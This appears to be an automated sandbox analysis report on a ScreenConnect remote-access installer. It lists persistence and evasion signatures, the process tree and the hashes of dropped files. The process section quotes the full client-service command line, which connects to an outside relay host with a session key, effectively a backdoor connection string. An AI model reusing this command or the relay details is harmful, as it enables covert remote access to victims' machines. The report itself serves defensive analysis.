Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/09/2026, 06:18

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260908-g2n13stamd
  • SHA256 39bd8e920636476e5816985e8f363966ff76c66dbbfdda45aa967d29b14e539c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4564
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4848
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B28E600D1C5E0E115ED00454450730E1 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2264
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240659031 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1688
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1028
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B0D410CE3743DFDAE289EA3BD266BE57
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5020
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 488479D947CBC52D5D6EE1465BA164D1 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2352
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4368
    • C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.msgfdoio.store&p=8041&s=375088c4-7841-4528-a52e-f920c5832786&k=BgIAAACkAABSU0ExAAgAAAEAAQDxaV%2by7PqsgyHl848YuPOOfIF9AWEgtk2Moqal7jtEe3Rp2U5QKQL3%2f2oiYp1qWDm8Paejt7YUP42tI0dxdSknthF2NJtwsCsJV6LYrEiry6ka%2f%2b43ciYXFZIQ83tzbXYl4c2fY9G1Jphq13SIcEEpe4SfEDiAnDt3Z1Lkk5M%2f8Jg%2bHny6te8PJGluva0YSSHMwpwjQEtFvKho1TWqG9QSR1oI7KctyFB6NaqDt2sLNtL7p0cwZR2%2bMpf8yR7s3ahms44IX%2fPDxF7%2byQSlGYKgHzvhEmOobXgxlIHlLlefKdg%2bq3thCvGbWwUz7drboiGXJ6ocNn4tcZyW0as52Oyq&c=file&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe" "RunRole" "481756dd-d4d8-4d4d-87ac-6e4a01042142" "User"
        2⤵
        • Executes dropped EXE
        PID:1476
      • C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe" "RunRole" "45acd115-7c37-45e5-a283-88154e4a66a5" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3704

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e587bf2.rbs

          • Path C:\Config.Msi\e587bf2.rbs
          • Size 214KB
          • SHA256 6622d3c29b73ea8325cf80ef7e13fc1a573e107d669272857a945d0a0c0e766e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\Client.Override.resources
          • Size 12KB
          • SHA256 d162d1325447713532a4923e18298a111d10562a4a8d008c9cae50c3fef7dabf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (0a1ac45d0dc5f321)\system.config
          • Size 946B
          • SHA256 237472faf4c268e2fc001bde23fbaf0247437acaf5722d1a3cf0733ff537a98a
          • MD5 SHA1 SHA512 TLSH

          MSI28C1.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI28C1.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7DF6.tmp

          • Path C:\Windows\Installer\MSI7DF6.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e587bf1.msi

          • Path C:\Windows\Installer\e587bf1.msi
          • Size 12.8MB
          • SHA256 39bd8e920636476e5816985e8f363966ff76c66dbbfdda45aa967d29b14e539c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 5c8c75cbc783403e24bb317a8ed63add7651fe3fffcc516288737f98958e7113
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cd4a22cc-3c0d-44bb-a406-e2c165ae6b69}_OnDiskSnapshotProp

          • Path \??\Volume{0dfc9b49-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{cd4a22cc-3c0d-44bb-a406-e2c165ae6b69}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 ce678d53b2e8919e5f531473cc95d41f471c82c8a8d495928aa3c8b8f9b1f771
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1476-120-0x0000000000660000-0x00000000006F6000-memory.dmp

          memory/1476-126-0x00000000027E0000-0x00000000027F8000-memory.dmp

          memory/1476-125-0x0000000000D90000-0x0000000000DA8000-memory.dmp

          memory/1476-124-0x000000001CC50000-0x000000001CDD6000-memory.dmp

          memory/1476-122-0x000000001B620000-0x000000001B6AC000-memory.dmp

          memory/1476-123-0x000000001B860000-0x000000001BA0A000-memory.dmp

          memory/1476-121-0x0000000000DB0000-0x0000000000DE6000-memory.dmp

          memory/1688-30-0x0000000005870000-0x0000000005A1A000-memory.dmp

          memory/1688-26-0x0000000005630000-0x00000000056BC000-memory.dmp

          memory/1688-22-0x0000000005590000-0x000000000559A000-memory.dmp

          memory/1688-18-0x0000000005550000-0x000000000557E000-memory.dmp

          memory/1688-31-0x0000000005FD0000-0x0000000006574000-memory.dmp

          memory/1852-100-0x0000000003EB0000-0x0000000003F00000-memory.dmp

          memory/1852-105-0x00000000041F0000-0x0000000004282000-memory.dmp

          memory/1852-107-0x0000000003F40000-0x0000000003F81000-memory.dmp

          memory/1852-109-0x00000000043D0000-0x00000000044A2000-memory.dmp

          memory/1852-78-0x0000000001650000-0x0000000001668000-memory.dmp

          memory/1852-104-0x0000000003F00000-0x0000000003F36000-memory.dmp

          memory/3704-128-0x000000001C580000-0x000000001C652000-memory.dmp